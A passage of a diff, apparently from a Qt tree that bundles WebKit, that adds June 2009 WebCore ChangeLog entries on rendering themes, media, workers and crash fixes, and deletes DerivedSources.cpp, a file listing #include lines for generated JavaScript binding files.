+        time, it might try to call the browser process to ask to load a font. The
+        browser process will ignore the request, and the font will fail to load, even
+        after the second try.
+
+        This is unfortunate, but there is no real risk here, since the renderer will be
+        going away as soon as it processes another message.
+        
+        This can't be layout tested as it depends on the sandbox.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26484
+
+        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
+        (WebCore::fontContainsCharacter):
+
+2009-06-17  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26482
+        <rdar://problem/6978590> When setting playback rate to 0, the audio element stops 
+        playing (doesn't resume later)
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::setRate): Always set the rate, even when "paused".
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::setRate): Ditto.
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Add all the generated JS*.cpp files back to WebCore.vcproj
+
+        They are not compiled by the vcproj directly. Instead they are
+        compiled as part of DerivedSources.cpp. Having them listed in the
+        vcproj makes them be included in Project Find, etc.
+
+        Rubber-stamped in advance by Steve Falkenburg.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-06-17  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Don't fire redundant 'change' events for a file upload form.
+        https://bugs.webkit.org/show_bug.cgi?id=26471
+
+        * platform/FileChooser.cpp:
+        (WebCore::FileChooser::chooseFiles): Suppress change event if the
+        existing selected files and the incoming selected files are equal.
+        (WebCore::FileChooser::chooseIcon): Returns 0 if there is no selected
+        files.
+
+2009-06-17  Adam Treat  <adam.treat@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        https://bugs.webkit.org/show_bug.cgi?id=23155
+        Move WIN_CE -> WINCE as previously discussed with Qt WINCE folks.
+
+        * platform/KeyboardCodes.h:
+
+2009-06-17  George Staikos  <george.staikos@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=23155
+        Move WIN_CE -> WINCE as previously discussed with Qt WINCE folks.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::getWindowsContext):
+        * platform/win/SystemTimeWin.cpp:
+        (WebCore::userIdleTime):
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Speculative Mac build fix
+
+        * page/Page.h: Forward-declare RenderTheme instead of including
+        RenderTheme.h so that we don't need to make RenderTheme.h a private
+        header for WebKit's benefit.
+
+        * editing/SelectionController.cpp:
+        * rendering/InlineTextBox.cpp:
+        * rendering/RenderObject.cpp:
+        Added #includes of RenderTheme.h.
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Speculative Mac build fix
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderTheme::create): Added.
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Speculative Mac build fix
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderTheme::themeForPage): Remove the name of an unused
+        parameter.
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Speculative Mac build fix
+
+        * page/Page.cpp:
+        (WebCore::Page::Page): Change the initializer order to match the
+        declaration order.
+
+2009-06-16  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
+
+        Reviewed by Simon Hausmann.
+
+        Follow up to bug https://bugs.webkit.org/show_bug.cgi?id=26278
+        Patch that make WebCore have a RenderTheme per page
+
+        Make the Qt implementation of RenderTheme create a theme per page,
+        and use the QStyle associated with the view of each page, in order
+        to make the QWidget setStyle() method work as advertised.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::RenderThemeQt):
+        (WebCore::RenderThemeQt::qStyle):
+        (WebCore::findFrameLineWidth):
+        (WebCore::inflateButtonRect):
+        (WebCore::RenderThemeQt::adjustRepaintRect):
+        (WebCore::RenderThemeQt::isControlStyled):
+        (WebCore::RenderThemeQt::computeSizeBasedOnStyle):
+        (WebCore::RenderThemeQt::setButtonPadding):
+        (WebCore::RenderThemeQt::paintButton):
+        (WebCore::RenderThemeQt::paintTextField):
+        (WebCore::RenderThemeQt::setPopupPadding):
+        * platform/qt/RenderThemeQt.h:
+
+2009-06-16  Kenneth Rohde Christiansen  <kenneth.christiansen@openbossa.org>
+
+        Reviewed by Dave Hyatt and Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26278
+        Patch that make WebCore have a RenderTheme per page
+
+
+        Create a different RenderTheme per page, so that RenderTheme has
+        access to page specific theming. This is needed for the Qt port, as Qt
+        supports setting the theme (style) per widget.
+
+        This change was suggested and discussed with Dave Hyatt.
+
+        More detailed:
+
+        1) Create a theme per page or one global one, depending on the needs
+           of the platform.
+        2) Add an accesser to the theme from RenderObject.
+        3) Change all uses of the theming to access the theme through
+           RenderObject, using the global default theme as fallback, when the
+           document of RenderObject has no page.
+           When we don't have access to a RenderObject, use the default theme.
+        4) Modify all RenderTheme platform implementations to work with the
+           above changes, still creating only one global theme.
+
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::boundingBoxRect):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::loadFullDefaultStyle):
+        (WebCore::CSSStyleSelector::styleForElement):
+        (WebCore::CSSStyleSelector::adjustRenderStyle):
+        (WebCore::CSSStyleSelector::applyProperty):
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::setActive):
+        (WebCore::ContainerNode::setHovered):
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::focusedOrActiveStateChanged):
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::parseMappedAttribute):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setChecked):
+        (WebCore::HTMLInputElement::setIndeterminate):
+        * page/Frame.cpp:
+        (WebCore::Frame::selectionLayoutChanged):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::updateControlTints):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        * page/Page.h:
+        (WebCore::Page::theme):
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::paintRow):
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::RenderThemeGtk::create):
+        (WebCore::RenderTheme::themeForPage):
+        (WebCore::RenderThemeGtk::RenderThemeGtk):
+        (WebCore::RenderThemeGtk::~RenderThemeGtk):
+        (WebCore::RenderThemeGtk::gtkEntry):
+        (WebCore::RenderThemeGtk::gtkTreeView):
+        * platform/gtk/RenderThemeGtk.h:
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::create):
+        (WebCore::RenderTheme::themeForPage):
+        * platform/qt/RenderThemeQt.h:
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::paint):
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::determineState):
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::RenderThemeWx::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::paintTextMatchMarker):
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlInputElement::hitTest):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::theme):
+        * rendering/RenderObject.h:
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::adjustStyle):
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::defaultTheme):
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeChromiumLinux.h:
+        (WebCore::RenderThemeChromiumLinux::~RenderThemeChromiumLinux):
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeChromiumWin.h:
+        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
+        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::RenderThemeSafari::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeSafari.h:
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderThemeWin::create):
+        (WebCore::RenderTheme::themeForPage):
+        * rendering/RenderThemeWin.h:
+
+2009-06-17  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <rdar://problem/6974175> ASSERT in JITStubs.cpp at appsaccess.apple.com
+
+        JSDOMWindowCustom was using PropertySlot::putValue, however this interface
+        appears to be fundaementally incorrect - PropertySlots are only used to get
+        values, all puts use PutPropertySlot.  However PutPropertySlot cannot be
+        used in the fashion desired here - it only reports the caching type of a
+        write that has been performed.
+
+        (This caused a bug where the put should have triggered a transition, and
+        failed to do so.)
+
+        Removing the faulty case from the optimization leads to a ~0.5% progression
+        on in-browser SunSpider (presumably the very first case was not being hit
+        often, and the simplification here is beneficial).
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::put):
+
+2009-06-17  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY, layout tests fix.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26326
+        This reverts commit r44751.
+
+        Once that change was checked scrollbars/scrollbar-orientation.html started
+        crashing on Windows.
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        * page/FrameView.cpp:
+        * page/FrameView.h:
+        * platform/Scrollbar.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::destroy):
+        * rendering/RenderScrollbar.h:
+
+2009-06-16  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        In ImageSource::setData, delete the old m_encoder before replacing it with a new one.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26458
+
+        * platform/graphics/wx/ImageSourceWx.cpp:
+        (WebCore::ImageSource::setData):
+
+2009-06-16  David Levin  <levin@chromium.org>
+
+        Reviewed by David Hyatt.
+
+        REGRESSION: When the main page (ScrollView) has a custom scrollbar, it crashes on destruction.
+        https://bugs.webkit.org/show_bug.cgi?id=26326
+
+        Test: scrollbars/scrollbar-crash-on-refresh.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        Gives the FrameView a change to do any necessary cleanup on
+        Document::detach() which is where the renderArena gets detroyed.
+        * page/FrameView.cpp:
+        (WebCore::FrameView::detachCustomScrollbars):
+        Gets rid of any custom scrollbars (if the docment supplied them).
+        * page/FrameView.h:
+        * platform/Scrollbar.h:
+        (WebCore::Scrollbar::isCustomScrollbar):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::destroy):
+        Removed the check for document()->frame().  If frame() is 0 in this code,
+        then the call to animation() is also incorrect (since it does document()->frame()->animation()).
+        * rendering/RenderScrollbar.h:
+        (WebCore::RenderScrollbar::isCustomScrollbar):
+
+2009-06-16  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Fix of <rdar://6967547> Ctrl-C copies null value erasing text in clipboard in Safari.
+        This patch kept the way events were firing as they were before, and Windows events are
+        consistent with Mac.       
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::tryDHTMLCopy): Added check for canCopy() before clearing PasteBoard
+        (WebCore::Editor::tryDHTMLCut): Added check for canCut() before clearing PasteBoard
+
+2009-06-16  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Brady Eidson.
+
+        <rdar://problem/6660037> CrashTracer: [USER] 46 crashes in Safari at com.apple.WebCore • WebCore::CachedCSSStyleSheet::addClient 53
+        
+        When revalidating a resource, calling addClient() on one client might cause another to get removed.
+        
+        - made CachedResource::addClient() non-virtual and added virtual didAddClient()
+        - in CachedResource::switchClientsToRevalidatedResource() add all clients to the client set of the revalidated resource first
+        - check if the client is still in the set before invoking didAddClient() for it
+        
+        No test case, I didn't manage to construct one. You need some combination of 304 revalidation, stylesheets that
+        reference each other via @imports and reloading.
+
+        * WebCore.base.exp:
+        * loader/CachedCSSStyleSheet.cpp:
+        (WebCore::CachedCSSStyleSheet::didAddClient):
+        * loader/CachedCSSStyleSheet.h:
+        * loader/CachedFont.cpp:
+        (WebCore::CachedFont::didAddClient):
+        * loader/CachedFont.h:
+        * loader/CachedImage.cpp:
+        (WebCore::CachedImage::didAddClient):
+        * loader/CachedImage.h:
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::addClient):
+        (WebCore::CachedResource::addClientToSet):
+        (WebCore::CachedResource::switchClientsToRevalidatedResource):
+        * loader/CachedResource.h:
+        * loader/CachedScript.cpp:
+        (WebCore::CachedScript::didAddClient):
+        * loader/CachedScript.h:
+        * loader/CachedXSLStyleSheet.cpp:
+        (WebCore::CachedXSLStyleSheet::didAddClient):
+        * loader/CachedXSLStyleSheet.h:
+
+2009-06-16  Simon Fraser  <simon.fraser@apple.com>
+
+        No Review
+
+        Fix code inside an #ifdef that draws the video framerate.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::paint):
+
+2009-06-16  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Bug 26456: Hook up V8 bindings for Worker's importScripts functionality.
+        https://bugs.webkit.org/show_bug.cgi?id=26456
+
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp: Fixed missing exception code
+          handling in Worker constructor for V8 bindings.
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-06-16  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Update of https://bugs.webkit.org/show_bug.cgi?id=26353.
+        Provide an assignment operator to avoid improper reference
+        counts on the Cairo font objects.  This brings the Windows
+        Cairo port in line with the GTKport.
+
+        * platform/graphics/win/FontPlatformData.h:
+        * platform/graphics/win/FontPlatformDataCairoWin.cpp:
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::operator=):
+
+2009-06-16  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix for <rdar://problem/6890126> Theme code should fetch the MediaControlElementType from 
+        the MediaControlInputElement, rather than computing it again
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::percentLoaded): New, utility function for controller implementation.
+        * html/HTMLMediaElement.h:
+
+        * rendering/MediaControlElements.h:
+        (WebCore::MediaControlInputElement::displayType): New, return m_displayType.
+
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::RenderMediaControls::paintMediaControlsPart): Stop using MediaPlayer object, get button
+        state from the button itself and get movie state from HTMLMediaElement.
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMediaMuteButton): Get state from button instead of MediaPlayer.
+        (WebCore::RenderThemeMac::paintMediaPlayButton): Ditto.
+
+2009-06-16  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Bug 26450: Rename values of enum RedirectOriginCheck to make them
+        clearer.
+        https://bugs.webkit.org/show_bug.cgi?id=26450
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::create):
+        (WebCore::DocumentThreadableLoader::DocumentThreadableLoader):
+        (WebCore::DocumentThreadableLoader::willSendRequest):
+        * loader/DocumentThreadableLoader.h:
+        * loader/ThreadableLoader.cpp:
+        (WebCore::ThreadableLoader::create):
+        (WebCore::ThreadableLoader::loadResourceSynchronously):
+        * loader/ThreadableLoader.h:
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::importScripts):
+        * loader/WorkerThreadableLoader.cpp:
+        (WebCore::WorkerThreadableLoader::WorkerThreadableLoader):
+        (WebCore::WorkerThreadableLoader::loadResourceSynchronously):
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge):
+        (WebCore::WorkerThreadableLoader::MainThreadBridge::mainThreadCreateLoader):
+        * loader/WorkerThreadableLoader.h:
+        (WebCore::WorkerThreadableLoader::create):
+        * workers/WorkerScriptLoader.cpp:
+        (WebCore::WorkerScriptLoader::loadSynchronously):
+        (WebCore::WorkerScriptLoader::loadAsynchronously):
+        * workers/WorkerScriptLoader.h:
+        (WebCore::WorkerContext::importScripts):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::loadRequestAsynchronously):
+
+2009-06-16  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix a UMR in WebCore::BitStack by initializing new memory to 0.
+        https://bugs.webkit.org/show_bug.cgi?id=26449
+        No new tests, covered by purify.
+
+        * editing/TextIterator.cpp:
+        (WebCore::BitStack::push):
+
+2009-06-16  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        Test: fast/multicol/columns-shorthand-parsing.html 
+
+        Fixes https://bugs.webkit.org/show_bug.cgi?id=26453.
+        Null Cairo contextwill crash Windows Cairo build.
+
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::syncContext):
+          Add a check for null context before attempting to
+          retrieve the Cairo surface.
+
+2009-06-16  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26447
+        Fix animated GIF breakage in Cairo/wx ports.
+
+        * platform/image-decoders/cairo/ImageDecoderCairo.cpp:
+        (WebCore::RGBA32Buffer::copyBitmapData):
+        (WebCore::RGBA32Buffer::operator=):
+        * platform/image-decoders/wx/ImageDecoderWx.cpp:
+        (WebCore::RGBA32Buffer::copyBitmapData):
+        (WebCore::RGBA32Buffer::operator=):
+
+2009-06-16  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by John Sullivan
+        
+        <rdar://problem/6937882>
+        
+        Tweak "time remaining" and "time elapsed" fields in the overlay video controller.
+
+        * css/mediaControlsQT.css:
+
+2009-06-16  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Adam Barth and David Levin.
+
+        Bug 26146: Change to use ThreadableLoader to load the worker script
+        in order to check URL origin for redirection.
+        https://bugs.webkit.org/show_bug.cgi?id=26146
+
+        Test: http/tests/workers/worker-redirect.html
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
+        (WebCore::Worker::notifyFinished):
+        * workers/Worker.h:
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::importScripts):
+        * workers/WorkerImportScriptsClient.cpp: Removed.
+        * workers/WorkerImportScriptsClient.h: Removed.
+        * workers/WorkerScriptLoader.cpp: Renamed from workers/WorkerImportScriptsClient.cpp.
+          This to make it more generic so worker script loading could use it.
+        (WebCore::WorkerScriptLoader::loadSynchronously):
+        (WebCore::WorkerScriptLoader::loadAsynchronously):
+        (WebCore::WorkerScriptLoader::didFinishLoading):
+        (WebCore::WorkerScriptLoader::didFail):
+        (WebCore::WorkerScriptLoader::didFailRedirectCheck):
+        (WebCore::WorkerScriptLoader::didReceiveAuthenticationCancellation):
+        (WebCore::WorkerScriptLoader::notifyFinished):
+        * workers/WorkerScriptLoader.h: Renamed from workers/WorkerImportScriptsClient.h.
+          This to make it more generic so worker script loading could use it.
+        * workers/WorkerScriptLoaderClient.h: Added.
+
+2009-06-16  Brent Fulgham  <bfulgham@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        Use consistent GUID comparison functions.
+        https://bugs.webkit.org/show_bug.cgi?id=26427
+
+        * platform/win/WCDataObject.cpp:
+        (WebCore::WCDataObject::QueryInterface):
+
+2009-06-16  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Fix compiler warning.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_class_init):
+
+2009-08-07  Luke Kenneth Casson Leighton  <lkcl@lkcl.net>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27424
+
+        * WebKit/gtk/gdom/ConvertToGCharPrivate.h: Added.
+        (copyAsGChar): added to help GObject bindings convert various types to glib's gchar* 
+
+2009-06-16  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Remove dummy AtkStreamableContent implementation.
+
+        It's completely empty, we'll add it back (and conditionally
+        instead of unconditionally) when it does something.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (GetAtkInterfaceTypeFromWAIType):
+        (getInterfaceMaskFromObject):
+
+== Rolled over to ChangeLog-2009-06-16 ==
diff --git a/src/3rdparty/webkit/WebCore/DerivedSources.cpp b/src/3rdparty/webkit/WebCore/DerivedSources.cpp
deleted file mode 100644
index 1edbf7d..0000000
--- a/src/3rdparty/webkit/WebCore/DerivedSources.cpp
+++ /dev/null
@@ -1,372 +0,0 @@
-/*
- * Copyright (C) 2008 Apple Inc. All Rights Reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-// This all-in-one cpp file cuts down on template bloat to allow us to build our Windows release build.
-
-#include "JSAbstractWorker.cpp"
-#include "JSAttr.cpp"
-#include "JSBarInfo.cpp"
-#include "JSBeforeLoadEvent.cpp"
-#include "JSCanvasGradient.cpp"
-#include "JSCanvasPattern.cpp"
-#include "JSCanvasRenderingContext.cpp"
-#include "JSCanvasRenderingContext2D.cpp"
-#if ENABLE(3D_CANVAS)    
-#include "JSCanvasRenderingContext3D.cpp"
-#endif
-#include "JSCDATASection.cpp"
-#include "JSCharacterData.cpp"
-#include "JSClientRect.cpp"
-#include "JSClientRectList.cpp"
-#include "JSClipboard.cpp"
-#include "JSComment.cpp"
-#include "JSConsole.cpp"
-#include "JSCounter.cpp"
-#include "JSCSSCharsetRule.cpp"
-#include "JSCSSFontFaceRule.cpp"
-#include "JSCSSImportRule.cpp"
-#include "JSCSSMediaRule.cpp"
-#include "JSCSSPageRule.cpp"
-#include "JSCSSPrimitiveValue.cpp"
-#include "JSCSSRule.cpp"
-#include "JSCSSRuleList.cpp"
-#include "JSCSSStyleDeclaration.cpp"
-#include "JSCSSStyleRule.cpp"
-#include "JSCSSStyleSheet.cpp"
-#include "JSCSSValue.cpp"
-#include "JSCSSValueList.cpp"
-#include "JSCSSVariablesDeclaration.cpp"
-#include "JSCSSVariablesRule.cpp"
-#include "JSDatabase.cpp"
-#include "JSDataGridColumn.cpp"
-#include "JSDataGridColumnList.cpp"
-#include "JSDedicatedWorkerContext.cpp"
-#include "JSDocument.cpp"
-#include "JSDocumentFragment.cpp"
-#include "JSDocumentType.cpp"
-#include "JSDOMApplicationCache.cpp"
-#include "JSDOMCoreException.cpp"
-#include "JSDOMImplementation.cpp"
-#include "JSDOMParser.cpp"
-#include "JSDOMSelection.cpp"
-#include "JSDOMWindow.cpp"
-#include "JSElement.cpp"
-#include "JSEntity.cpp"
-#include "JSEntityReference.cpp"
-#include "JSErrorEvent.cpp"
-#include "JSEvent.cpp"
-#include "JSEventException.cpp"
-#include "JSEventSource.cpp"
-#include "JSFile.cpp"
-#include "JSFileList.cpp"
-#include "JSHistory.cpp"
-#include "JSHTMLAllCollection.cpp"
-#include "JSHTMLAnchorElement.cpp"
-#include "JSHTMLAppletElement.cpp"
-#include "JSHTMLAreaElement.cpp"
-#include "JSHTMLAudioElement.cpp"
-#include "JSHTMLBaseElement.cpp"
-#include "JSHTMLBaseFontElement.cpp"
-#include "JSHTMLBlockquoteElement.cpp"
-#include "JSHTMLBodyElement.cpp"
-#include "JSHTMLBRElement.cpp"
-#include "JSHTMLButtonElement.cpp"
-#include "JSHTMLCanvasElement.cpp"
-#include "JSHTMLCollection.cpp"
-#include "JSHTMLDataGridElement.cpp"
-#include "JSHTMLDataGridCellElement.cpp"
-#include "JSHTMLDataGridColElement.cpp"
-#include "JSHTMLDataGridRowElement.cpp"
-#include "JSHTMLDataListElement.cpp"
-#include "JSHTMLDirectoryElement.cpp"
-#include "JSHTMLDivElement.cpp"
-#include "JSHTMLDListElement.cpp"
-#include "JSHTMLDocument.cpp"
-#include "JSHTMLElement.cpp"
-#include "JSHTMLElementWrapperFactory.cpp"
-#include "JSHTMLEmbedElement.cpp"
-#include "JSHTMLFieldSetElement.cpp"
-#include "JSHTMLFontElement.cpp"
-#include "JSHTMLFormElement.cpp"
-#include "JSHTMLFrameElement.cpp"
-#include "JSHTMLFrameSetElement.cpp"
-#include "JSHTMLHeadElement.cpp"
-#include "JSHTMLHeadingElement.cpp"
-#include "JSHTMLHRElement.cpp"
-#include "JSHTMLHtmlElement.cpp"
-#include "JSHTMLIFrameElement.cpp"
-#include "JSHTMLImageElement.cpp"
-#include "JSHTMLInputElement.cpp"
-#include "JSHTMLIsIndexElement.cpp"
-#include "JSHTMLLabelElement.cpp"
-#include "JSHTMLLegendElement.cpp"
-#include "JSHTMLLIElement.cpp"
-#include "JSHTMLLinkElement.cpp"
-#include "JSHTMLMapElement.cpp"
-#include "JSHTMLMarqueeElement.cpp"
-#include "JSHTMLMediaElement.cpp"
-#include "JSHTMLMenuElement.cpp"
-#include "JSHTMLMetaElement.cpp"
-#include "JSHTMLModElement.cpp"
-#include "JSHTMLObjectElement.cpp"
-#include "JSHTMLOListElement.cpp"
-#include "JSHTMLOptGroupElement.cpp"
-#include "JSHTMLOptionElement.cpp"
-#include "JSHTMLOptionsCollection.cpp"
-#include "JSHTMLParagraphElement.cpp"
-#include "JSHTMLParamElement.cpp"
-#include "JSHTMLPreElement.cpp"
-#include "JSHTMLQuoteElement.cpp"
-#include "JSHTMLScriptElement.cpp"
-#include "JSHTMLSelectElement.cpp"
-#include "JSHTMLSourceElement.cpp"
-#include "JSHTMLStyleElement.cpp"
-#include "JSHTMLTableCaptionElement.cpp"
-#include "JSHTMLTableCellElement.cpp"
-#include "JSHTMLTableColElement.cpp"
-#include "JSHTMLTableElement.cpp"
-#include "JSHTMLTableRowElement.cpp"
-#include "JSHTMLTableSectionElement.cpp"
-#include "JSHTMLTextAreaElement.cpp"
-#include "JSHTMLTitleElement.cpp"
-#include "JSHTMLUListElement.cpp"
-#include "JSHTMLVideoElement.cpp"
-#include "JSImageData.cpp"
-#include "JSJavaScriptCallFrame.cpp"
-#include "JSKeyboardEvent.cpp"
-#include "JSLocation.cpp"
-#include "JSMedia.cpp"
-#include "JSMediaError.cpp"
-#include "JSMediaList.cpp"
-#include "JSMessageChannel.cpp"
-#include "JSMessageEvent.cpp"
-#include "JSMessagePort.cpp"
-#include "JSMimeType.cpp"
-#include "JSMimeTypeArray.cpp"
-#include "JSMouseEvent.cpp"
-#include "JSMutationEvent.cpp"
-#include "JSNamedNodeMap.cpp"
-#include "JSNavigator.cpp"
-#include "JSNode.cpp"
-#include "JSNodeFilter.cpp"
-#include "JSNodeIterator.cpp"
-#include "JSNodeList.cpp"
-#include "JSNotation.cpp"
-#include "JSNotificationCenter.cpp"
-#include "JSNotification.cpp"
-#include "JSOverflowEvent.cpp"
-#include "JSPageTransitionEvent.cpp"
-#include "JSPlugin.cpp"
-#include "JSPluginArray.cpp"
-#include "JSProcessingInstruction.cpp"
-#include "JSProgressEvent.cpp"
-#include "JSRange.cpp"
-#include "JSRangeException.cpp"
-#include "JSRect.cpp"
-#include "JSRGBColor.cpp"
-#include "JSScreen.cpp"
-#include "JSSharedWorker.cpp"
-#include "JSSharedWorkerContext.cpp"
-#include "JSSQLError.cpp"
-#include "JSSQLResultSet.cpp"
-#include "JSSQLResultSetRowList.cpp"
-#include "JSSQLTransaction.cpp"
-#include "JSStorage.cpp"
-#include "JSStorageEvent.cpp"
-#include "JSStyleSheet.cpp"
-#include "JSStyleSheetList.cpp"
-#include "JSSVGAElement.cpp"
-#include "JSSVGAltGlyphElement.cpp"
